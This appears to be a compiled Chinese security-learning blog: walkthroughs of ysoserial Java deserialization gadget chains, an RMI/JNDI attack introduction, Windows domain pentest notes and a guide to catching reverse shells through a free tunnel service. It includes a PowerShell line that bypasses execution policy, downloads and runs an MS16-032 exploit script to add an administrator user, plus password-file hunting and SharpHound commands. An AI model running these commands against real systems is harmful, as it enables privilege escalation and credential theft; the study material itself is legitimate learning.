		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = 1;

		return queue;
	}

最后在贴个有意思的东西,如果使用反射类final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");这样进行调用,在改变反射出来的内容的时候也会对反射类内容

CommonsCollections4

/*
 * Variation on CommonsCollections2 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */
//PriorityQueue->TransformingComparator.compare->ChainedTransformer.transform->InstantiateTransformer.transform->TrAXFilter构造函数

搁着单双数同链子是吧

又换了个头头,触发起始使用的是我们直接从这个新类的transform方法看起,直接反序列化打断点

RMI攻击

之前在关于Java的小点中介绍了一些Java安全入门所需要掌握的基本知识,那么这里我们就要来看看具体的对RMI进行攻击的方法

首先要知道什么是RMI

简介

RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。(我们可以再之后数据包中看到该协议特征)

在RMI中对象是通过序列化方式进行编码传输的。(我们将在之后证实)

RMI分为三个主体部分:

  • Client-客户端:客户端调用服务端的方法
  • Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
  • Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。

唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端

RMI关键点在于,所有的方法执行都是在服务端上执行的,这时肯定会有人有疑问,为什么在服务端进行调用还会导致RCE咧?我们暂且按下不表,后面在看具体漏洞就知道为什么了

RMI调用流程

Server部署:

  1. Server向Registry注册远程对象,远程对象绑定在一个//host:port/objectname上,形成一个映射表(Service-Stub)。

Client调用:

  1. Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。
  2. Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程RMI服务器
  3. Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。

image-20220907013338336

看到整个调用过程我们发现所有的内容传递都是对象,过程自然是序列化与反序列化,那这是我们就会有疑问,如果在客户端并没有服务端所返回的对象类那不就不能存储我们的对象了吗?

这时JNDI就生效了,在JNDI远程进行加载的时候,会通过lookup来对类进行本地查找,如果本地找不到对应类的定义,就会去到server端预先定义好的codebase地址中(一般是http)获取对应类的class文件,并自动执行类的静态方法和getObjectInstance方法,那么我们只要构造恶意类文件,并且通过RMI返回对应类的实例化对象,就可以导致RCE,多说无益,我们上手试试

RCE示例

public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
}
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
    protected HelloServiceImpl() throws RemoteException {
    }

    @Override
    public String sayHello() throws RemoteException {
        System.out.println("hello!");
        return "hello!";
    }
}

有关Java的小点

碎碎念:学Java真的好折磨人呜呜呜呜,好多好多好多包,名字也不认识,方法也不会用,只能慢慢一步步往前走,哭哭😭,这篇文章主要是总结一些关于Java的有趣小点,看个乐呵涨点冷知识就好

阅读全文

ysoserial反序列化

ROME

链子
/**
 *
 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)
 *
 * @author mbechler
 *
 */

我们先跟着反序列化的链子走一遍试试

HashMap<K,V>.readObject(ObjectInputStream)这个是反序列化的入口,不过奇怪的是看到前面的内容好像没有什么大用,那就直接往下跟,走hash函数

HashMap<K,V>.hash(Object)检查传入的key是否为空,如果为空就返回0,否则执行key的hashCode函数,此处key为ObjectBean类对象,继续走hashCode

ObjectBean.hashCode()继续调用EqualsBeanbeanHashCode

EqualsBean.beanHashCode()继续调用ObjectBeantoString方法,hashCode会在漏洞触发后再被执行,所以此处不需要管

ObjectBean.toString()继续调用ToStringBeantoString方法

ToStringBean.toString()看到最后prefix就相当于拿出来调用链开始的原对象的类名,传入同名函数中执行

这个方法会调用 BeanIntrospector.getPropertyDescriptors() 来获取 _beanClass 的全部 getter/setter 方法,然后判断参数长度为 0 的方法使用 _obj 实例进行反射调用,翻译成人话就是会调用所有 getter 方法拿到全部属性值,然后打印出来,显然getter都是无参方法,所以会导致所有getter方法都被调用了一遍

我们继续跟入Method.invoke(),到最后调用了DelegatingMethodAccessorImpl.invoke(Object, Object[])

跟入调用同类下的invoke0,最终触发TemplatesImpl.getOutputProperties()导致RCE

走完一遍链子大概知道整个反序列化是怎么触发的了,能挖出来的真的是神仙(

CommonsBeanutils1

嗷呜,首先还是扔一个反序列化链子

PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()

这次我们可以看到在createObject的时候最终返回了一个PriorityQueue类对象,关于这个类

PriorityQueue是基于优先堆的一个无界队列,这个优先队列中的元素可以默认自然排序或者通过提供的Comparator(比较器)在队列实例化的时排序。

简单来说就是 PriorityQueue 会对队列中的元素用比较器 Comparator 进行排序,而 CommonsBeanutils1 中使用的比较器为 BeanComparator。

那这和我们的反序列化有什么关系呢,我们先对这个链子进行一次反序列化试试

我们先直接来看这个类的readObject函数,看到最后调用了heapify#堆化函数,我们跟入一下

可以看到其中调用了siftDown#筛选函数,我们继续跟入

其中调用了siftDownUsingComparator#用比较器筛选函数,此处的比较器使用的是BeanComparator,继续跟入

这里对之前队列中的内容调用了compare#比较函数,跟入

看到其中的比较器函数具体代码,跟入PropertyUtils.getProperty#属性工具类:获取属性方法,这个方法具体是什么内容呢

而 getProperty() 的定义如下:

PropertyUtils.getProperty(Object bean, String name)
bean 是不为null的Java Bean实例
name 是Java Bean属性名称 (也就是方法中的getXxx(), setXxx(), 其中的xxx成为这个java bean的bean属性, java中的类成员变量称为字段, 并不是属性。
这个方法是调用bean对象中的getname()方法

就相当于直接调用了bean对象中的getxxx()方法,又因为反序列化我们对内容可控,我们就可以任意调用任意对象的任意get方法,在这里o1,o2就是我们反序列化生成的PriorityQueue中的元素,而property属性也可控,所以条件成立,可以任意调用get方法

此处我们只需要找到一个危险的get方法就行了,还是使用TemplatesImpl类,关于这个类RCE可以去看另一个JAVA小点文章,在此不再赘述

最后我们再回来看ysoserial中对这条链的利用代码

豁然开朗喵喵

FileUpload1

/**
 * Gadget chain:
 * DiskFileItem.readObject()
 *
 * Arguments:
 * - copyAndDelete;sourceFile;destDir
 * - write;destDir;ascii-data
 * - writeB64;destDir;base64-data
 * - writeOld;destFile;ascii-data
 * - writeOldB64;destFile;base64-data
 *
 * Yields:
 * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
 * - pre 1.3.1 (+ old JRE): write data to an arbitrary file
 * - 1.3.1+: write data to a more or less random file in an arbitrary directory
 *
 **/

看介绍直接跟到对应的readObject中看看是怎么进行反序列化的

private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
    // 读取原始数据(属性)
    in.defaultReadObject();

    OutputStream output = getOutputStream();
    if (cachedContent != null) {
        output.write(cachedContent);
    } else {
        FileInputStream input = new FileInputStream(dfosFile);
        IOUtils.copy(input, output);
        dfosFile.delete();
        dfosFile = null;
    }
    output.close();

    cachedContent = null;
}

这里通过getOutputStream拿到了一个文件对象,然后如果cachedContent中存在内容就将其写入到这个文件中,跟入getOutputStream

public OutputStream getOutputStream()
    throws IOException {
    if (dfos == null) {
        File outputFile = getTempFile();
        dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);
    }
    return dfos;
}

protected File getTempFile() {
    if (tempFile == null) {
        File tempDir = repository;
        if (tempDir == null) {
            tempDir = new File(System.getProperty("java.io.tmpdir"));
        }

        String tempFileName = format("upload_%s_%s.tmp", UID, getUniqueId());

        tempFile = new File(tempDir, tempFileName);
    }
    return tempFile;
}
public DeferredFileOutputStream(int threshold, File outputFile) {
    this(threshold, outputFile, (String)null, (String)null, (File)null, 1024);
}

可以看到首先通过getTempFile生成了临时文件,再生成一个DeferredFileOutputStream类,该类可通过某一阈值(threshold)来判断将文件写入内存中还是硬盘中

private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
    // if thresh < written length, delete outputFile after copying to repository temp file
    // otherwise write the contents to repository temp file
    File repository = new File(repoPath);
    DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
    File outputFile = new File(filePath);
    DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
    // write data to dfos
    OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
    // write data to memoryOutputStream
    os.write(data);
    // write data to thresholdingOutputStream

    Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
    Reflections.setFieldValue(diskFileItem, "dfos", dfos);
    Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
    return diskFileItem;
}

我们先以文件写入为例子看调用链

//JDK8
DiskFileItem.readObject()->getOutputStream()->DeferredFileOutputStream(sizeThreshold, getTempFile())#生成可写入的文件对象->output.write(cachedContent)

其中的内容来自我们预先定义的cachedContent,sizeThreshold预定义为0

再来看文件复制的

//JDK8
DiskFileItem.readObject()->getOutputStream()->DeferredFileOutputStream(sizeThreshold, getTempFile())#生成可写入的文件对象->output.write(FileInputStream(dfosFile#原始文件))

其实和上面的一样啦,就是生成文件对象然后把旧文件内容读出再写入,又因为进行了delete操作所以整个过程类似于剪切

剩下的因为尊贵的macOS移除了32位支持,所以JDK1.3.1的payload无法测试

Groovy1

/*
	Gadget chain:
AnnotationInvocationHandler#readObject()
  ConvertedClosure#invoke()
    ConversionHandler#invoke()
      ConvertedClosure#invokeCustom()
        MethodClosure#call()
          Closure#call()
            MetaClassImpl#invokeMethod()
              dgm$748#doMethodInvoke()
                ProcessGroovyMethods#execute()
                  Runtime#exec()

	Requires:
		groovy
 */

还是和CC一样的AnnotationInvocationHandler起始,其中的memberValues是被代理的Map,依然是通过entrySet触发代理invoke进而逐步触发,前置内容我们略过,直接从ConvertedClosure部分开始看

//ConversionHandler
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    VMPlugin plugin = VMPluginFactory.getPlugin();
    if (plugin.getVersion() >= 7 && this.isDefaultMethod(method)) {
        Object handle = this.handleCache.get(method);
        if (handle == null) {
            handle = plugin.getInvokeSpecialHandle(method, proxy);
            this.handleCache.put(method, handle);
        }

        return plugin.invokeHandle(handle, args);
    } else if (!this.checkMethod(method)) {
        try {
            return this.invokeCustom(proxy, method, args);
        } catch (GroovyRuntimeException var6) {
            throw ScriptBytecodeAdapter.unwrap(var6);
        }
    } else {
        try {
            return method.invoke(this, args);
        } catch (InvocationTargetException var7) {
            throw var7.getTargetException();
        }
    }
}
protected boolean checkMethod(Method method) {
    return isCoreObjectMethod(method);
}

首先是对ConvertedClosure.invoke的调用,看到其中并没有invoke方法就去其继承的父类中找,调用ConversionHandler.invoke,可以看到先通过checkMethod方法对调用的方法进行判断,看是否是Object类型原生存在的方法,很明显entrySet并不是,所以进入到ConvertedClosure.invokeCustom方法

//ConvertedClosure
public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable {
    return this.methodName != null && !this.methodName.equals(method.getName()) ? null : ((Closure)this.getDelegate()).call(args);
}

正经人谁写三目表达式啊

总之执行了((Closure)this.getDelegate()).call(args),delegate的类型是MethodClosure,调用了delegate.call,跟入,发现MethodClosure没有call方法,找父类Closure.call

//Closure
public V call(Object... args) {
    try {
        return this.getMetaClass().invokeMethod(this, "doCall", args);
    } catch (InvokerInvocationException var3) {
        ExceptionUtils.sneakyThrow(var3.getCause());
        return null;
    } catch (Exception var4) {
        return throwRuntimeException(var4);
    }
}

继续调用MetaClassImpl.invokeMethod(this,”doCall”,args),代码量过大我们只截取关键部分

boolean isClosure = object instanceof Closure;
if (isClosure) {
    Closure closure = (Closure)object;
    Object owner = closure.getOwner();
    MetaClass ownerMetaClass;
    if ("call".equals(methodName) || "doCall".equals(methodName)) {
        Class objectClass = object.getClass();
        if (objectClass == MethodClosure.class) {
            MethodClosure mc = (MethodClosure)object;
            methodName = mc.getMethod();
            Class ownerClass = owner instanceof Class ? (Class)owner : owner.getClass();
            MetaClass ownerMetaClass = this.registry.getMetaClass(ownerClass);
            return ownerMetaClass.invokeMethod(ownerClass, owner, methodName, arguments, false, false);
        }

        if (objectClass == CurriedClosure.class) {
            CurriedClosure cc = (CurriedClosure)object;
            Object[] curriedArguments = cc.getUncurriedArguments(arguments);
            Class ownerClass = owner instanceof Class ? (Class)owner : owner.getClass();
            ownerMetaClass = this.registry.getMetaClass(ownerClass);
            return ownerMetaClass.invokeMethod(owner, methodName, curriedArguments);
        }

        if (method == null) {
            this.invokeMissingMethod(object, methodName, arguments);
        }
    }
  
  
  
  
  
  
return method != null ? method.doMethodInvoke(object, arguments) : this.invokePropertyOrMissing(object, methodName, originalArguments, fromInsideClass, isCallToSuper);

此时object类型为MethodClosure,符合判断,因此后面会进入 if(isClosure)条件分支,然后递归调用invokeMethod()方法,我们跟入递归,发现其中执行的是method.doMethodInvoke,其method指向的是dgm$748的实例对象,跟入查看其实现

//dgm$748
//var1=command
public final Object doMethodInvoke(Object var1, Object[] var2) {
    this.coerceArgumentsToClasses(var2);
    return ProcessGroovyMethods.execute((String)var1);
}
其中ProcessGroovyMethods.execute的实现为
public static Process execute(String self) throws IOException {
    return Runtime.getRuntime().exec(self);
}

命令执行成功

Hibernate1

/**
 *
 * org.hibernate.property.access.spi.GetterMethodImpl.get()
 * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
 * org.hibernate.type.ComponentType.getPropertyValue(C)
 * org.hibernate.type.ComponentType.getHashCode()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.internal.util.ValueHolder.getValue()
 * org.hibernate.engine.spi.TypedValue.hashCode()
 *
 *
 * Requires:
 * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
 *
 * @author mbechler
 */

文章引用:

https://blog.csdn.net/solitudi/article/details/119082164

https://www.anquanke.com/post/id/247434

https://blog.weik1.top/

Windows内网域渗透 提权

低权限寻找提权手段

常见的提权手段:

1、本地溢出漏洞

2、数据库提权

3、第三方软件提权

想要提权我们就需要先了解这台电脑上面究竟有什么漏洞可供我们利用,所以第一件事还是通过信息收集来找到我们可以利用的漏洞,这里有一些可以帮助我们的脚本

寻找提权漏洞

Windows Exploit Suggester - Next Generation (WES-NG)

脚本链接

这个脚本可以通过计算机的系统信息来看到电脑的补丁信息,进而推断出当前机器可被利用的漏洞

获取信息的方式有三种

There are two options to check for missing patches: a. Launch missingkbs.vbs on the host to have Windows determine which patches are missing b. Use Windows’ built-in systeminfo.exe tool to obtain the system information of the local system, or from a remote system using systeminfo /S MyRemoteHost, and redirect this to a file: systeminfo > systeminfo.txt

有两个选项可以检查缺失的补丁:在主机上启动missingkbs.vbs,让 Windows 确定缺少哪些补丁 b.使用Windows内置的systeminfo.exe工具获取本地系统的系统信息,或者使用systeminfo /S MyRemoteHost从远程系统获取系统信息,并将其重定向到一个文件:systeminfo > systeminfo.txt

获取到的信息放到文件中传入脚本执行即可看到结果

提权脚本大全

溢出漏洞提权

MS16-032提权

通过这个漏洞我们可以以一个普通用户身份,来添加一个administrator管理员组的用户,还能以SYSTEM权限来运行程序

漏洞前提:目标系统需要有2个以上的CPU核心,并且PowerShell是2.0以上的版本

此漏洞影响Windows Vista到Windows10之间的所有未修复设备

首先找到对应的提权脚本,按教程来说直接运行就好,但是我本机环境尝试了好多遍都没有反应,打开报错后发现是因为原始状态下限制了powershell执行脚本,在我想如何不使用管理员权限修改powershell控制时,发现了另一种执行脚本的方法

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test123 /add'"

这样执行的话就不会提示需要权限并且命令也能正常执行,这还有个小坑,就是在adduser的时候一定要保证密码是能通过安全性验证的,不然没有新用户生成很容易误认为提权失败

我们也可以直接执行木马文件,这样反弹的shell就是SYSTEM用户权限了

本地提权漏洞

CVE-2020-0787

当Windows背景智能传输服务(BITS)没有正确处理符号链接时,存在特权提升漏洞,利用后攻击者可以改写目标文件来提升权限,利用条件就是攻击者需要登录系统,可以运行EXP

该漏洞影响的版本:Windows7 SP1-Windows10 1903所有架构

在利用时我们要先看目标机器是否有对应漏洞补丁

systeminfo | findstr KB4540673

很好,没有对应的补丁,我们直接利用对应的EXP,上传后执行(mlgbd为什么不弹!!!!!!!!!!!!)

数据库提权

Windows内网域渗透3

低权限搜集本机密码文件

  • dir命令搜集当前机器各类密码配置文件

    一般配置或密码文件都是:

    pass.*,config.*,username.*,password.*

    可以直接使用dir命令进行搜集,建议不要从C盘扫,从user目录下扫描

    dir /b /s user.*,pass.*,config.*,username.*,password.*

    我们cd到目标目录后直接执行,发现密码文件:

    我们直接查看

  • for循环搜集当前机器各类敏感密码的配置文件

    for /r C:\ %i in (pass.*) do @echo %i

    这个耗时比较久,我们需要稍等再查看,最终结果和上面的dir命令是相似的

  • findstr命令查找文件中的字段

    findstr /c:"user" /c:"pass" /si *.txt

Windows内网域渗透2

BloodHound使用

安装略过,百度都有

首先需要去官方的Github项目中下载收集器,注意这个玩意需要.net 4.7以上的运行环境的,不然直接弹窗给你看

#exe命令
SharpHound.exe -c all
#powershell命令
powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"

前置知识

关于身份认证方式

kerberos认证

  • 简介

    Kerberos协议是一个专注于验证通信双方身份的网络协议,不同于其他网络安全协议的保证整个通信过程的传输安全,kerberos侧重于通信前双方身份的认定工作,帮助客户端和服务端解决“证明我自己是我自己”的问题,从而使得通信两端能够完全信任对方身份,在一个不安全的网络中完成一次安全的身份认证继而进行安全的通信。

  • 组成角色

    客户端(client):发送请求的一方

    服务端(Server):接收请求的一方

    密钥分发中心(Key Distribution Center,KDC),而密钥分发中心一般又分为两部分,分别是:

    • AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据授予票据)
    • TGS(Ticket Granting Ticket):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(Ticket)

    在整个kerberos认证过程中,三个角色缺一不可

  • 原理

    为了方便我们理解,我们先假设这么一个场景,现在有ABC三人,A需要去找B完成一件事情,但是彼此并没有见过面,只知道对方的名字,那如果A直接去找B,A就没有办法向B直接证明自己就是A,所以现在他们找到了彼此都认识并且信任的C,让C给A一个凭证,由A交给B去找C来验证身份,这时A就能验证自己的身份了

    上面这个例子就很好的说明了kerberos认证的方式,A相当于客户端,B相当于服务端,C相当于KDC,KDC中包含一个叫做TGS(票据授予中心)的组件,我们便可以理解为他就是一个发放身份认证票据的服务中心,在KDC认证了(其实是KDC中的AS认证的)客户端的身份后,他会给客户端发放用于访问网络服务的服务授予票据(Ticket)。由于整个kerberos通信过程都采用对称加密的方式,密钥的获取也是从KDC中得到,所以KDC叫做密钥分发中心。

  • 流程

    上面的原理搞明白了也就很容易知道流程了,不过我们还需要解决两个问题

    问题1 KDC怎么知道你(客户端)就是真正的客户端?凭什么给你发放服务授予票据(Ticket)呢?

    问题2 服务端怎么知道你带来的服务授予票据(Ticket)就是一张真正的票据呢?

    所以说上面的原理只是一个简化后的模型,实际上的一次完整的kerberos认证总共需要三次通信

    1. 客户端首先需要来到KDC获得服务授予票据(Ticket)。由于客户端是第一次访问KDC,此时KDC也不确定该客户端的身份,所以第一次通信的目的为KDC认证客户端身份,确认客户端是一个可靠且拥有访问KDC权限的客户端
    2. 客户端会用自己的密钥将第二部分内容进行解密,分别获得时间戳,自己将要访问的TGS的信息,和用于与TGS通信时的密钥CT_SK。首先他会根据时间戳判断该时间戳与自己发送请求时的时间之间的差值是否大于5分钟,如果大于五分钟则认为该AS是伪造的,认证至此失败。如果时间戳合理,客户端便准备向TGS发起请求,
    3. 此时的客户端收到了来自KDC(TGS)的响应,并使用缓存在本地的CT_SK解密了第二部分内容(第一部分内容中的ST是由Server密码加密的,客户端无法解密),检查时间戳无误后取出其中的CS_SK准备向服务端发起最后的请求。

    了解到这些再看老庞的图

    image-20221010113610118

    image-20221010113606949

    62638be70e3e745194dca594

NTLM认证

本地密码哈希,没了

BloodHound板块

  1. Database Info(数据库信息),可查看当前数据库中的域用户,域计算机等统计信息

  2. Node Info(节点信息),单击某个节点时,可以看到对应节点的详细信息

  3. Analysis(分析查询)提供了一些预设好的查询语句

  • Find all Domain Admins(查询所有域管理员)
  • Find Shortest Paths to Domain Admins(找出域管理员的最短路径)

部分内容引用以下文章:

详解kerberos认证原理

无公网服务器反弹shell

  1. 用SakuraFrp(因为免费),https://www.natfrp.com/user/

  2. 穿透—隧道中开启一个新的隧道,本地端口可任意设定,本地端口即为稍后电脑要监听的端口

  3. 下载SakuraFrp的官方软件,运行,在个人中心中找到token并填入

    如图所示说明隧道已开启

  4. 另起一个shell端口,监听之前设置过的端口

    nc -lvp 设置的端口

  5. 用执行命令后提示的IP或域名来生成反弹shell命令

  6. 执行后成功弹shell